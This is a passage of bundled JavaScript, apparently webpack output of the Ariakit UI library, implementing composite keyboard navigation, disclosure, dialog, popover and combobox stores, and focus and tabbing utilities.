row[i] = previousItem && activeId !== previousItem.id && focusShift ? previousItem : createEmptyItem(previousItem == null ? void 0 : previousItem.rowId);
}
}
}
return rows;
}
function verticalizeItems(items) {
const rows = groupItemsByRows(items);
const maxLength = getMaxRowLength(rows);
const verticalized = [];
for (let i = 0; i < maxLength; i += 1) {
for (const row of rows) {
const item = row[i];
if (item) {
verticalized.push(_chunks_3YLGPPWQ_spreadProps(_chunks_3YLGPPWQ_spreadValues({}, item), {
// If there's no rowId, it means that it's not a grid composite, but
// a single row instead. So, instead of verticalizing it, that is,
// assigning a different rowId based on the column index, we keep it
// undefined so they will be part of the same row. This is useful
// when using up/down on one-dimensional composites.
rowId: item.rowId ? `${i}` : void 0
}));
}
}
}
return verticalized;
}
function createCompositeStore(props = {}) {
var _a;
const syncState = (_a = props.store) == null ? void 0 : _a.getState();
const collection = createCollectionStore(props);
const activeId = defaultValue(
props.activeId,
syncState == null ? void 0 : syncState.activeId,
props.defaultActiveId
);
const initialState = _chunks_3YLGPPWQ_spreadProps(_chunks_3YLGPPWQ_spreadValues({}, collection.getState()), {
id: defaultValue(
props.id,
syncState == null ? void 0 : syncState.id,
`id-${Math.random().toString(36).slice(2, 8)}`
),
activeId,
baseElement: defaultValue(syncState == null ? void 0 : syncState.baseElement, null),
includesBaseElement: defaultValue(
props.includesBaseElement,
syncState == null ? void 0 : syncState.includesBaseElement,
activeId === null
),
moves: defaultValue(syncState == null ? void 0 : syncState.moves, 0),
orientation: defaultValue(
props.orientation,
syncState == null ? void 0 : syncState.orientation,
"both"
),
rtl: defaultValue(props.rtl, syncState == null ? void 0 : syncState.rtl, false),
virtualFocus: defaultValue(
props.virtualFocus,
syncState == null ? void 0 : syncState.virtualFocus,
false
),
focusLoop: defaultValue(props.focusLoop, syncState == null ? void 0 : syncState.focusLoop, false),
focusWrap: defaultValue(props.focusWrap, syncState == null ? void 0 : syncState.focusWrap, false),
focusShift: defaultValue(props.focusShift, syncState == null ? void 0 : syncState.focusShift, false)
});
const composite = createStore(initialState, collection, props.store);
setup(
composite,
() => sync(composite, ["renderedItems", "activeId"], (state) => {
composite.setState("activeId", (activeId2) => {
var _a2;
if (activeId2 !== void 0) return activeId2;
return (_a2 = findFirstEnabledItem(state.renderedItems)) == null ? void 0 : _a2.id;
});
})
);
const getNextId = (direction = "next", options = {}) => {
var _a2, _b;
const defaultState = composite.getState();
const {
skip = 0,
activeId: activeId2 = defaultState.activeId,
focusShift = defaultState.focusShift,
focusLoop = defaultState.focusLoop,
focusWrap = defaultState.focusWrap,
includesBaseElement = defaultState.includesBaseElement,
renderedItems = defaultState.renderedItems,
rtl = defaultState.rtl
} = options;
const isVerticalDirection = direction === "up" || direction === "down";
const isNextDirection = direction === "next" || direction === "down";
const canReverse = isNextDirection ? rtl && !isVerticalDirection : !rtl || isVerticalDirection;
const canShift = focusShift && !skip;
let items = !isVerticalDirection ? renderedItems : flatten2DArray(
normalizeRows(groupItemsByRows(renderedItems), activeId2, canShift)
);
items = canReverse ? reverseArray(items) : items;
items = isVerticalDirection ? verticalizeItems(items) : items;
if (activeId2 == null) {
return (_a2 = findFirstEnabledItem(items)) == null ? void 0 : _a2.id;
}
const activeItem = items.find((item) => item.id === activeId2);
if (!activeItem) {
return (_b = findFirstEnabledItem(items)) == null ? void 0 : _b.id;
}
const isGrid = items.some((item) => item.rowId);
const activeIndex = items.indexOf(activeItem);
const nextItems = items.slice(activeIndex + 1);
const nextItemsInRow = getItemsInRow(nextItems, activeItem.rowId);
if (skip) {
const nextEnabledItemsInRow = getEnabledItems(nextItemsInRow, activeId2);
const nextItem2 = nextEnabledItemsInRow.slice(skip)[0] || // If we can't find an item, just return the last one.
nextEnabledItemsInRow[nextEnabledItemsInRow.length - 1];
return nextItem2 == null ? void 0 : nextItem2.id;
}
const canLoop = focusLoop && (isVerticalDirection ? focusLoop !== "horizontal" : focusLoop !== "vertical");
const canWrap = isGrid && focusWrap && (isVerticalDirection ? focusWrap !== "horizontal" : focusWrap !== "vertical");
const hasNullItem = isNextDirection ? (!isGrid || isVerticalDirection) && canLoop && includesBaseElement : isVerticalDirection ? includesBaseElement : false;
if (canLoop) {
const loopItems = canWrap && !hasNullItem ? items : getItemsInRow(items, activeItem.rowId);
const sortedItems = flipItems(loopItems, activeId2, hasNullItem);
const nextItem2 = findFirstEnabledItem(sortedItems, activeId2);
return nextItem2 == null ? void 0 : nextItem2.id;
}
if (canWrap) {
const nextItem2 = findFirstEnabledItem(
// We can use nextItems, which contains all the next items, including
// items from other rows, to wrap between rows. However, if there is a
// null item (the composite container), we'll only use the next items in
// the row. So moving next from the last item will focus on the
// composite container. On grid composites, horizontal navigation never
// focuses on the composite container, only vertical.
hasNullItem ? nextItemsInRow : nextItems,
activeId2
);
const nextId = hasNullItem ? (nextItem2 == null ? void 0 : nextItem2.id) || null : nextItem2 == null ? void 0 : nextItem2.id;
return nextId;
}
const nextItem = findFirstEnabledItem(nextItemsInRow, activeId2);
if (!nextItem && hasNullItem) {
return null;
}
return nextItem == null ? void 0 : nextItem.id;
};
return _chunks_3YLGPPWQ_spreadProps(_chunks_3YLGPPWQ_spreadValues(_chunks_3YLGPPWQ_spreadValues({}, collection), composite), {
setBaseElement: (element) => composite.setState("baseElement", element),
setActiveId: (id) => composite.setState("activeId", id),
move: (id) => {
if (id === void 0) return;
composite.setState("activeId", id);
composite.setState("moves", (moves) => moves + 1);
},
first: () => {
var _a2;
return (_a2 = findFirstEnabledItem(composite.getState().renderedItems)) == null ? void 0 : _a2.id;
},
last: () => {
var _a2;
return (_a2 = findFirstEnabledItem(reverseArray(composite.getState().renderedItems))) == null ? void 0 : _a2.id;
},
next: (options) => {
if (options !== void 0 && typeof options === "number") {
options = { skip: options };
}
return getNextId("next", options);
},
previous: (options) => {
if (options !== void 0 && typeof options === "number") {
options = { skip: options };
}
return getNextId("previous", options);
},
down: (options) => {
if (options !== void 0 && typeof options === "number") {
options = { skip: options };
}
return getNextId("down", options);
},
up: (options) => {
if (options !== void 0 && typeof options === "number") {
options = { skip: options };
}
return getNextId("up", options);
}
});
}
;// ./node_modules/@ariakit/core/esm/__chunks/RCQ5P4YE.js
"use client";
// src/disclosure/disclosure-store.ts
function createDisclosureStore(props = {}) {
const store = mergeStore(
props.store,
omit2(props.disclosure, ["contentElement", "disclosureElement"])
);
throwOnConflictingProps(props, store);
const syncState = store == null ? void 0 : store.getState();
const open = defaultValue(
props.open,
syncState == null ? void 0 : syncState.open,
props.defaultOpen,
false
);
const animated = defaultValue(props.animated, syncState == null ? void 0 : syncState.animated, false);
const initialState = {
open,
animated,
animating: !!animated && open,
mounted: open,
contentElement: defaultValue(syncState == null ? void 0 : syncState.contentElement, null),
disclosureElement: defaultValue(syncState == null ? void 0 : syncState.disclosureElement, null)
};
const disclosure = createStore(initialState, store);
setup(
disclosure,
() => sync(disclosure, ["animated", "animating"], (state) => {
if (state.animated) return;
disclosure.setState("animating", false);
})
);
setup(
disclosure,
() => subscribe(disclosure, ["open"], () => {
if (!disclosure.getState().animated) return;
disclosure.setState("animating", true);
})
);
setup(
disclosure,
() => sync(disclosure, ["open", "animating"], (state) => {
disclosure.setState("mounted", state.open || state.animating);
})
);
return _chunks_3YLGPPWQ_spreadProps(_chunks_3YLGPPWQ_spreadValues({}, disclosure), {
disclosure: props.disclosure,
setOpen: (value) => disclosure.setState("open", value),
show: () => disclosure.setState("open", true),
hide: () => disclosure.setState("open", false),
toggle: () => disclosure.setState("open", (open2) => !open2),
stopAnimation: () => disclosure.setState("animating", false),
setContentElement: (value) => disclosure.setState("contentElement", value),
setDisclosureElement: (value) => disclosure.setState("disclosureElement", value)
});
}
;// ./node_modules/@ariakit/core/esm/__chunks/FZZ2AVHF.js
"use client";
// src/dialog/dialog-store.ts
function createDialogStore(props = {}) {
return createDisclosureStore(props);
}
;// ./node_modules/@ariakit/core/esm/__chunks/ME2CUF3F.js
"use client";
// src/popover/popover-store.ts
function createPopoverStore(_a = {}) {
var _b = _a, {
popover: otherPopover
} = _b, props = _3YLGPPWQ_objRest(_b, [
"popover"
]);
const store = mergeStore(
props.store,
omit2(otherPopover, [
"arrowElement",
"anchorElement",
"contentElement",
"popoverElement",
"disclosureElement"
])
);
throwOnConflictingProps(props, store);
const syncState = store == null ? void 0 : store.getState();
const dialog = createDialogStore(_chunks_3YLGPPWQ_spreadProps(_chunks_3YLGPPWQ_spreadValues({}, props), { store }));
const placement = defaultValue(
props.placement,
syncState == null ? void 0 : syncState.placement,
"bottom"
);
const initialState = _chunks_3YLGPPWQ_spreadProps(_chunks_3YLGPPWQ_spreadValues({}, dialog.getState()), {
placement,
currentPlacement: placement,
anchorElement: defaultValue(syncState == null ? void 0 : syncState.anchorElement, null),
popoverElement: defaultValue(syncState == null ? void 0 : syncState.popoverElement, null),
arrowElement: defaultValue(syncState == null ? void 0 : syncState.arrowElement, null),
rendered: Symbol("rendered")
});
const popover = createStore(initialState, dialog, store);
return _chunks_3YLGPPWQ_spreadProps(_chunks_3YLGPPWQ_spreadValues(_chunks_3YLGPPWQ_spreadValues({}, dialog), popover), {
setAnchorElement: (element) => popover.setState("anchorElement", element),
setPopoverElement: (element) => popover.setState("popoverElement", element),
setArrowElement: (element) => popover.setState("arrowElement", element),
render: () => popover.setState("rendered", Symbol("rendered"))
});
}
;// ./node_modules/@ariakit/core/esm/combobox/combobox-store.js
"use client";
// src/combobox/combobox-store.ts
var isTouchSafari = isSafari() && isTouchDevice();
function createComboboxStore(_a = {}) {
var _b = _a, {
tag
} = _b, props = _3YLGPPWQ_objRest(_b, [
"tag"
]);
const store = mergeStore(props.store, pick2(tag, ["value", "rtl"]));
throwOnConflictingProps(props, store);
const tagState = tag == null ? void 0 : tag.getState();
const syncState = store == null ? void 0 : store.getState();
const activeId = defaultValue(
props.activeId,
syncState == null ? void 0 : syncState.activeId,
props.defaultActiveId,
null
);
const composite = createCompositeStore(_chunks_3YLGPPWQ_spreadProps(_chunks_3YLGPPWQ_spreadValues({}, props), {
activeId,
includesBaseElement: defaultValue(
props.includesBaseElement,
syncState == null ? void 0 : syncState.includesBaseElement,
true
),
orientation: defaultValue(
props.orientation,
syncState == null ? void 0 : syncState.orientation,
"vertical"
),
focusLoop: defaultValue(props.focusLoop, syncState == null ? void 0 : syncState.focusLoop, true),
focusWrap: defaultValue(props.focusWrap, syncState == null ? void 0 : syncState.focusWrap, true),
virtualFocus: defaultValue(
props.virtualFocus,
syncState == null ? void 0 : syncState.virtualFocus,
true
)
}));
const popover = createPopoverStore(_chunks_3YLGPPWQ_spreadProps(_chunks_3YLGPPWQ_spreadValues({}, props), {
placement: defaultValue(
props.placement,
syncState == null ? void 0 : syncState.placement,
"bottom-start"
)
}));
const value = defaultValue(
props.value,
syncState == null ? void 0 : syncState.value,
props.defaultValue,
""
);
const selectedValue = defaultValue(
props.selectedValue,
syncState == null ? void 0 : syncState.selectedValue,
tagState == null ? void 0 : tagState.values,
props.defaultSelectedValue,
""
);
const multiSelectable = Array.isArray(selectedValue);
const initialState = _chunks_3YLGPPWQ_spreadProps(_chunks_3YLGPPWQ_spreadValues(_chunks_3YLGPPWQ_spreadValues({}, composite.getState()), popover.getState()), {
value,
selectedValue,
resetValueOnSelect: defaultValue(
props.resetValueOnSelect,
syncState == null ? void 0 : syncState.resetValueOnSelect,
multiSelectable
),
resetValueOnHide: defaultValue(
props.resetValueOnHide,
syncState == null ? void 0 : syncState.resetValueOnHide,
multiSelectable && !tag
),
activeValue: syncState == null ? void 0 : syncState.activeValue
});
const combobox = createStore(initialState, composite, popover, store);
if (isTouchSafari) {
setup(
combobox,
() => sync(combobox, ["virtualFocus"], () => {
combobox.setState("virtualFocus", false);
})
);
}
setup(combobox, () => {
if (!tag) return;
return chain(
sync(combobox, ["selectedValue"], (state) => {
if (!Array.isArray(state.selectedValue)) return;
tag.setValues(state.selectedValue);
}),
sync(tag, ["values"], (state) => {
combobox.setState("selectedValue", state.values);
})
);
});
setup(
combobox,
() => sync(combobox, ["resetValueOnHide", "mounted"], (state) => {
if (!state.resetValueOnHide) return;
if (state.mounted) return;
combobox.setState("value", value);
})
);
setup(
combobox,
() => sync(combobox, ["open"], (state) => {
if (state.open) return;
combobox.setState("activeId", activeId);
combobox.setState("moves", 0);
})
);
setup(
combobox,
() => sync(combobox, ["moves", "activeId"], (state, prevState) => {
if (state.moves === prevState.moves) {
combobox.setState("activeValue", void 0);
}
})
);
setup(
combobox,
() => batch(combobox, ["moves", "renderedItems"], (state, prev) => {
if (state.moves === prev.moves) return;
const { activeId: activeId2 } = combobox.getState();
const activeItem = composite.item(activeId2);
combobox.setState("activeValue", activeItem == null ? void 0 : activeItem.value);
})
);
return _chunks_3YLGPPWQ_spreadProps(_chunks_3YLGPPWQ_spreadValues(_chunks_3YLGPPWQ_spreadValues(_chunks_3YLGPPWQ_spreadValues({}, popover), composite), combobox), {
tag,
setValue: (value2) => combobox.setState("value", value2),
resetValue: () => combobox.setState("value", initialState.value),
setSelectedValue: (selectedValue2) => combobox.setState("selectedValue", selectedValue2)
});
}
;// ./node_modules/@ariakit/react-core/esm/__chunks/FEOFMWBY.js
"use client";
// src/combobox/combobox-store.ts
function useComboboxStoreOptions(props) {
const tag = useTagContext();
props = _3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({}, props), {
tag: props.tag !== void 0 ? props.tag : tag
});
return useCompositeStoreOptions(props);
}
function useComboboxStoreProps(store, update, props) {
useUpdateEffect(update, [props.tag]);
useStoreProps(store, props, "value", "setValue");
useStoreProps(store, props, "selectedValue", "setSelectedValue");
useStoreProps(store, props, "resetValueOnHide");
useStoreProps(store, props, "resetValueOnSelect");
return Object.assign(
useCompositeStoreProps(
usePopoverStoreProps(store, update, props),
update,
props
),
{ tag: props.tag }
);
}
function useComboboxStore(props = {}) {
props = useComboboxStoreOptions(props);
const [store, update] = YV4JVR4I_useStore(createComboboxStore, props);
return useComboboxStoreProps(store, update, props);
}
;// ./node_modules/@ariakit/react-core/esm/__chunks/S6EF7IVO.js
"use client";
// src/disclosure/disclosure-context.tsx
var S6EF7IVO_ctx = createStoreContext();
var useDisclosureContext = S6EF7IVO_ctx.useContext;
var useDisclosureScopedContext = S6EF7IVO_ctx.useScopedContext;
var useDisclosureProviderContext = S6EF7IVO_ctx.useProviderContext;
var DisclosureContextProvider = S6EF7IVO_ctx.ContextProvider;
var DisclosureScopedContextProvider = S6EF7IVO_ctx.ScopedContextProvider;
;// ./node_modules/@ariakit/react-core/esm/__chunks/RS7LB2H4.js
"use client";
// src/dialog/dialog-context.tsx
var RS7LB2H4_ctx = createStoreContext(
[DisclosureContextProvider],
[DisclosureScopedContextProvider]
);
var useDialogContext = RS7LB2H4_ctx.useContext;
var useDialogScopedContext = RS7LB2H4_ctx.useScopedContext;
var useDialogProviderContext = RS7LB2H4_ctx.useProviderContext;
var DialogContextProvider = RS7LB2H4_ctx.ContextProvider;
var DialogScopedContextProvider = RS7LB2H4_ctx.ScopedContextProvider;
var DialogHeadingContext = (0,external_React_.createContext)(void 0);
var DialogDescriptionContext = (0,external_React_.createContext)(void 0);
;// ./node_modules/@ariakit/react-core/esm/__chunks/MTZPJQMC.js
"use client";
// src/popover/popover-context.tsx
var MTZPJQMC_ctx = createStoreContext(
[DialogContextProvider],
[DialogScopedContextProvider]
);
var usePopoverContext = MTZPJQMC_ctx.useContext;
var usePopoverScopedContext = MTZPJQMC_ctx.useScopedContext;
var usePopoverProviderContext = MTZPJQMC_ctx.useProviderContext;
var PopoverContextProvider = MTZPJQMC_ctx.ContextProvider;
var PopoverScopedContextProvider = MTZPJQMC_ctx.ScopedContextProvider;
;// ./node_modules/@ariakit/react-core/esm/__chunks/VEVQD5MH.js
"use client";
// src/combobox/combobox-context.tsx
var ComboboxListRoleContext = (0,external_React_.createContext)(
void 0
);
var VEVQD5MH_ctx = createStoreContext(
[PopoverContextProvider, CompositeContextProvider],
[PopoverScopedContextProvider, CompositeScopedContextProvider]
);
var useComboboxContext = VEVQD5MH_ctx.useContext;
var useComboboxScopedContext = VEVQD5MH_ctx.useScopedContext;
var useComboboxProviderContext = VEVQD5MH_ctx.useProviderContext;
var ComboboxContextProvider = VEVQD5MH_ctx.ContextProvider;
var ComboboxScopedContextProvider = VEVQD5MH_ctx.ScopedContextProvider;
var ComboboxItemValueContext = (0,external_React_.createContext)(
void 0
);
var ComboboxItemCheckedContext = (0,external_React_.createContext)(false);
;// ./node_modules/@ariakit/react-core/esm/combobox/combobox-provider.js
"use client";
// src/combobox/combobox-provider.tsx
function ComboboxProvider(props = {}) {
const store = useComboboxStore(props);
return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ComboboxContextProvider, { value: store, children: props.children });
}
;// ./node_modules/@ariakit/react-core/esm/combobox/combobox-label.js
"use client";
// src/combobox/combobox-label.tsx
var TagName = "label";
var useComboboxLabel = createHook(
function useComboboxLabel2(_a) {
var _b = _a, { store } = _b, props = __objRest(_b, ["store"]);
const context = useComboboxProviderContext();
store = store || context;
invariant(
store,
false && 0
);
const comboboxId = store.useState((state) => {
var _a2;
return (_a2 = state.baseElement) == null ? void 0 : _a2.id;
});
props = _3YLGPPWQ_spreadValues({
htmlFor: comboboxId
}, props);
return removeUndefinedValues(props);
}
);
var ComboboxLabel = memo2(
forwardRef2(function ComboboxLabel2(props) {
const htmlProps = useComboboxLabel(props);
return createElement(TagName, htmlProps);
})
);
;// ./node_modules/@ariakit/react-core/esm/__chunks/OMU7RWRV.js
"use client";
// src/popover/popover-anchor.tsx
var OMU7RWRV_TagName = "div";
var usePopoverAnchor = createHook(
function usePopoverAnchor2(_a) {
var _b = _a, { store } = _b, props = __objRest(_b, ["store"]);
const context = usePopoverProviderContext();
store = store || context;
props = _3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({}, props), {
ref: useMergeRefs(store == null ? void 0 : store.setAnchorElement, props.ref)
});
return props;
}
);
var PopoverAnchor = forwardRef2(function PopoverAnchor2(props) {
const htmlProps = usePopoverAnchor(props);
return createElement(OMU7RWRV_TagName, htmlProps);
});
;// ./node_modules/@ariakit/react-core/esm/__chunks/5VQZOHHZ.js
"use client";
// src/composite/utils.ts
var _5VQZOHHZ_NULL_ITEM = { id: null };
function _5VQZOHHZ_flipItems(items, activeId, shouldInsertNullItem = false) {
const index = items.findIndex((item) => item.id === activeId);
return [
...items.slice(index + 1),
...shouldInsertNullItem ? [_5VQZOHHZ_NULL_ITEM] : [],
...items.slice(0, index)
];
}
function _5VQZOHHZ_findFirstEnabledItem(items, excludeId) {
return items.find((item) => {
if (excludeId) {
return !item.disabled && item.id !== excludeId;
}
return !item.disabled;
});
}
function getEnabledItem(store, id) {
if (!id) return null;
return store.item(id) || null;
}
function _5VQZOHHZ_groupItemsByRows(items) {
const rows = [];
for (const item of items) {
const row = rows.find((currentRow) => {
var _a;
return ((_a = currentRow[0]) == null ? void 0 : _a.rowId) === item.rowId;
});
if (row) {
row.push(item);
} else {
rows.push([item]);
}
}
return rows;
}
function selectTextField(element, collapseToEnd = false) {
if (isTextField(element)) {
element.setSelectionRange(
collapseToEnd ? element.value.length : 0,
element.value.length
);
} else if (element.isContentEditable) {
const selection = getDocument(element).getSelection();
selection == null ? void 0 : selection.selectAllChildren(element);
if (collapseToEnd) {
selection == null ? void 0 : selection.collapseToEnd();
}
}
}
var FOCUS_SILENTLY = Symbol("FOCUS_SILENTLY");
function focusSilently(element) {
element[FOCUS_SILENTLY] = true;
element.focus({ preventScroll: true });
}
function silentlyFocused(element) {
const isSilentlyFocused = element[FOCUS_SILENTLY];
delete element[FOCUS_SILENTLY];
return isSilentlyFocused;
}
function isItem(store, element, exclude) {
if (!element) return false;
if (element === exclude) return false;
const item = store.item(element.id);
if (!item) return false;
if (exclude && item.element === exclude) return false;
return true;
}
;// ./node_modules/@ariakit/react-core/esm/__chunks/SWN3JYXT.js
"use client";
// src/focusable/focusable-context.tsx
var FocusableContext = (0,external_React_.createContext)(true);
;// ./node_modules/@ariakit/core/esm/utils/focus.js
"use client";
// src/utils/focus.ts
var selector = "input:not([type='hidden']):not([disabled]), select:not([disabled]), textarea:not([disabled]), a[href], button:not([disabled]), [tabindex], summary, iframe, object, embed, area[href], audio[controls], video[controls], [contenteditable]:not([contenteditable='false'])";
function hasNegativeTabIndex(element) {
const tabIndex = Number.parseInt(element.getAttribute("tabindex") || "0", 10);
return tabIndex < 0;
}
function isFocusable(element) {
if (!element.matches(selector)) return false;
if (!isVisible(element)) return false;
if (element.closest("[inert]")) return false;
return true;
}
function isTabbable(element) {
if (!isFocusable(element)) return false;
if (hasNegativeTabIndex(element)) return false;
if (!("form" in element)) return true;
if (!element.form) return true;
if (element.checked) return true;
if (element.type !== "radio") return true;
const radioGroup = element.form.elements.namedItem(element.name);
if (!radioGroup) return true;
if (!("length" in radioGroup)) return true;
const activeElement = getActiveElement(element);
if (!activeElement) return true;
if (activeElement === element) return true;
if (!("form" in activeElement)) return true;
if (activeElement.form !== element.form) return true;
if (activeElement.name !== element.name) return true;
return false;
}
function getAllFocusableIn(container, includeContainer) {
const elements = Array.from(
container.querySelectorAll(selector)
);
if (includeContainer) {
elements.unshift(container);
}
const focusableElements = elements.filter(isFocusable);
focusableElements.forEach((element, i) => {
if (isFrame(element) && element.contentDocument) {
const frameBody = element.contentDocument.body;
focusableElements.splice(i, 1, ...getAllFocusableIn(frameBody));
}
});
return focusableElements;
}
function getAllFocusable(includeBody) {
return getAllFocusableIn(document.body, includeBody);
}
function getFirstFocusableIn(container, includeContainer) {
const [first] = getAllFocusableIn(container, includeContainer);
return first || null;
}
function getFirstFocusable(includeBody) {
return getFirstFocusableIn(document.body, includeBody);
}
function getAllTabbableIn(container, includeContainer, fallbackToFocusable) {
const elements = Array.from(
container.querySelectorAll(selector)
);
const tabbableElements = elements.filter(isTabbable);
if (includeContainer && isTabbable(container)) {
tabbableElements.unshift(container);
}
tabbableElements.forEach((element, i) => {
if (isFrame(element) && element.contentDocument) {
const frameBody = element.contentDocument.body;
const allFrameTabbable = getAllTabbableIn(
frameBody,
false,
fallbackToFocusable
);
tabbableElements.splice(i, 1, ...allFrameTabbable);
}
});
if (!tabbableElements.length && fallbackToFocusable) {
return elements;
}
return tabbableElements;
}
function getAllTabbable(fallbackToFocusable) {
return getAllTabbableIn(document.body, false, fallbackToFocusable);
}
function getFirstTabbableIn(container, includeContainer, fallbackToFocusable) {
const [first] = getAllTabbableIn(
container,
includeContainer,
fallbackToFocusable
);
return first || null;
}
function getFirstTabbable(fallbackToFocusable) {
return getFirstTabbableIn(document.body, false, fallbackToFocusable);
}
function getLastTabbableIn(container, includeContainer, fallbackToFocusable) {
const allTabbable = getAllTabbableIn(
container,
includeContainer,
fallbackToFocusable
);
return allTabbable[allTabbable.length - 1] || null;
}
function getLastTabbable(fallbackToFocusable) {
return getLastTabbableIn(document.body, false, fallbackToFocusable);
}
function getNextTabbableIn(container, includeContainer, fallbackToFirst, fallbackToFocusable) {
const activeElement = getActiveElement(container);
const allFocusable = getAllFocusableIn(container, includeContainer);
const activeIndex = allFocusable.indexOf(activeElement);
const nextFocusableElements = allFocusable.slice(activeIndex + 1);
return nextFocusableElements.find(isTabbable) || (fallbackToFirst ? allFocusable.find(isTabbable) : null) || (fallbackToFocusable ? nextFocusableElements[0] : null) || null;
}
function getNextTabbable(fallbackToFirst, fallbackToFocusable) {
return getNextTabbableIn(
document.body,
false,
fallbackToFirst,
fallbackToFocusable
);
}
function getPreviousTabbableIn(container, includeContainer, fallbackToLast, fallbackToFocusable) {
const activeElement = getActiveElement(container);
const allFocusable = getAllFocusableIn(container, includeContainer).reverse();
const activeIndex = allFocusable.indexOf(activeElement);
const previousFocusableElements = allFocusable.slice(activeIndex + 1);
return previousFocusableElements.find(isTabbable) || (fallbackToLast ? allFocusable.find(isTabbable) : null) || (fallbackToFocusable ? previousFocusableElements[0] : null) || null;
}
function getPreviousTabbable(fallbackToFirst, fallbackToFocusable) {
return getPreviousTabbableIn(
document.body,
false,
fallbackToFirst,
fallbackToFocusable
);
}
function getClosestFocusable(element) {
while (element && !isFocusable(element)) {
element = element.closest(selector);
}
return element || null;
}
function hasFocus(element) {
const activeElement = DTR5TSDJ_getActiveElement(element);
if (!activeElement) return false;
if (activeElement === element) return true;
const activeDescendant = activeElement.getAttribute("aria-activedescendant");
if (!activeDescendant) return false;
return activeDescendant === element.id;
}
function hasFocusWithin(element) {
const activeElement = DTR5TSDJ_getActiveElement(element);
if (!activeElement) return false;
if (contains(element, activeElement)) return true;
const activeDescendant = activeElement.getAttribute("aria-activedescendant");
if (!activeDescendant) return false;
if (!("id" in element)) return false;
if (activeDescendant === element.id) return true;
return !!element.querySelector(`#${CSS.escape(activeDescendant)}`);
}
function focusIfNeeded(element) {
if (!hasFocusWithin(element) && isFocusable(element)) {
element.focus();
}
}
function disableFocus(element) {
var _a;
const currentTabindex = (_a = element.getAttribute("tabindex")) != null ? _a : "";
element.setAttribute("data-tabindex", currentTabindex);
element.setAttribute("tabindex", "-1");
}
function disableFocusIn(container, includeContainer) {
const tabbableElements = getAllTabbableIn(container, includeContainer);
for (const element of tabbableElements) {
disableFocus(element);
}
}
function restoreFocusIn(container) {
const elements = container.querySelectorAll("[data-tabindex]");
const restoreTabIndex = (element) => {
const tabindex = element.getAttribute("data-tabindex");
element.removeAttribute("data-tabindex");
if (tabindex) {
element.setAttribute("tabindex", tabindex);
} else {
element.removeAttribute("tabindex");
}
};
if (container.hasAttribute("data-tabindex")) {
restoreTabIndex(container);
}
for (const element of elements) {
restoreTabIndex(element);
}
}
function focusIntoView(element, options) {
if (!("scrollIntoView" in element)) {
element.focus();
} else {
element.focus({ preventScroll: true });
element.scrollIntoView(_chunks_3YLGPPWQ_spreadValues({ block: "nearest", inline: "nearest" }, options));
}
}
;// ./node_modules/@ariakit/react-core/esm/__chunks/LVA2YJMS.js
"use client";
// src/focusable/focusable.tsx
var LVA2YJMS_TagName = "div";
var isSafariBrowser = isSafari();
var alwaysFocusVisibleInputTypes = [
"text",
"search",
"url",
"tel",
"email",
"password",
"number",
"date",
"month",
"week",
"time",
"datetime",
"datetime-local"
];
var safariFocusAncestorSymbol = Symbol("safariFocusAncestor");
function isSafariFocusAncestor(element) {
if (!element) return false;
return !!element[safariFocusAncestorSymbol];
}
function markSafariFocusAncestor(element, value) {
if (!element) return;
element[safariFocusAncestorSymbol] = value;
}
function isAlwaysFocusVisible(element) {
const { tagName, readOnly, type } = element;
if (tagName === "TEXTAREA" && !readOnly) return true;
if (tagName === "SELECT" && !readOnly) return true;
if (tagName === "INPUT" && !readOnly) {
return alwaysFocusVisibleInputTypes.includes(type);
}
if (element.isContentEditable) return true;
const role = element.getAttribute("role");
if (role === "combobox" && element.dataset.name) {
return true;
}
return false;
}
function getLabels(element) {
if ("labels" in element) {
return element.labels;
}
return null;
}
function isNativeCheckboxOrRadio(element) {
const tagName = element.tagName.toLowerCase();
if (tagName === "input" && element.type) {
return element.type === "radio" || element.type === "checkbox";
}
return false;
}
function isNativeTabbable(tagName) {
if (!tagName) return true;
return tagName === "button" || tagName === "summary" || tagName === "input" || tagName === "select" || tagName === "textarea" || tagName === "a";
}
function supportsDisabledAttribute(tagName) {
if (!tagName) return true;
return tagName === "button" || tagName === "input" || tagName === "select" || tagName === "textarea";
}
function getTabIndex(focusable, trulyDisabled, nativeTabbable, supportsDisabled, tabIndexProp) {
if (!focusable) {
return tabIndexProp;
}
if (trulyDisabled) {
if (nativeTabbable && !supportsDisabled) {
return -1;
}
return;
}
if (nativeTabbable) {
return tabIndexProp;
}
return tabIndexProp || 0;
}
function useDisableEvent(onEvent, disabled) {
return useEvent((event) => {
onEvent == null ? void 0 : onEvent(event);
if (event.defaultPrevented) return;
if (disabled) {
event.stopPropagation();
event.preventDefault();
}
});
}
var isKeyboardModality = true;
function onGlobalMouseDown(event) {
const target = event.target;
if (target && "hasAttribute" in target) {
if (!target.hasAttribute("data-focus-visible")) {
isKeyboardModality = false;
}
}
}
function onGlobalKeyDown(event) {
if (event.metaKey) return;
if (event.ctrlKey) return;
if (event.altKey) return;
isKeyboardModality = true;
}
var useFocusable = createHook(
function useFocusable2(_a) {
var _b = _a, {
focusable = true,
accessibleWhenDisabled,
autoFocus,
onFocusVisible
} = _b, props = __objRest(_b, [
"focusable",
"accessibleWhenDisabled",
"autoFocus",
"onFocusVisible"
]);
const ref = (0,external_React_.useRef)(null);
(0,external_React_.useEffect)(() => {
if (!focusable) return;
addGlobalEventListener("mousedown", onGlobalMouseDown, true);
addGlobalEventListener("keydown", onGlobalKeyDown, true);
}, [focusable]);
if (isSafariBrowser) {
(0,external_React_.useEffect)(() => {
if (!focusable) return;
const element = ref.current;
if (!element) return;
if (!isNativeCheckboxOrRadio(element)) return;
const labels = getLabels(element);
if (!labels) return;
const onMouseUp = () => queueMicrotask(() => element.focus());
for (const label of labels) {
label.addEventListener("mouseup", onMouseUp);
}
return () => {
for (const label of labels) {
label.removeEventListener("mouseup", onMouseUp);
}
};
}, [focusable]);
}
const disabled = focusable && disabledFromProps(props);
const trulyDisabled = !!disabled && !accessibleWhenDisabled;
const [focusVisible, setFocusVisible] = (0,external_React_.useState)(false);
(0,external_React_.useEffect)(() => {
if (!focusable) return;
if (trulyDisabled && focusVisible) {
setFocusVisible(false);
}
}, [focusable, trulyDisabled, focusVisible]);
(0,external_React_.useEffect)(() => {
if (!focusable) return;
if (!focusVisible) return;
const element = ref.current;
if (!element) return;
if (typeof IntersectionObserver === "undefined") return;
const observer = new IntersectionObserver(() => {
if (!isFocusable(element)) {
setFocusVisible(false);
}
});
observer.observe(element);
return () => observer.disconnect();
}, [focusable, focusVisible]);
const onKeyPressCapture = useDisableEvent(
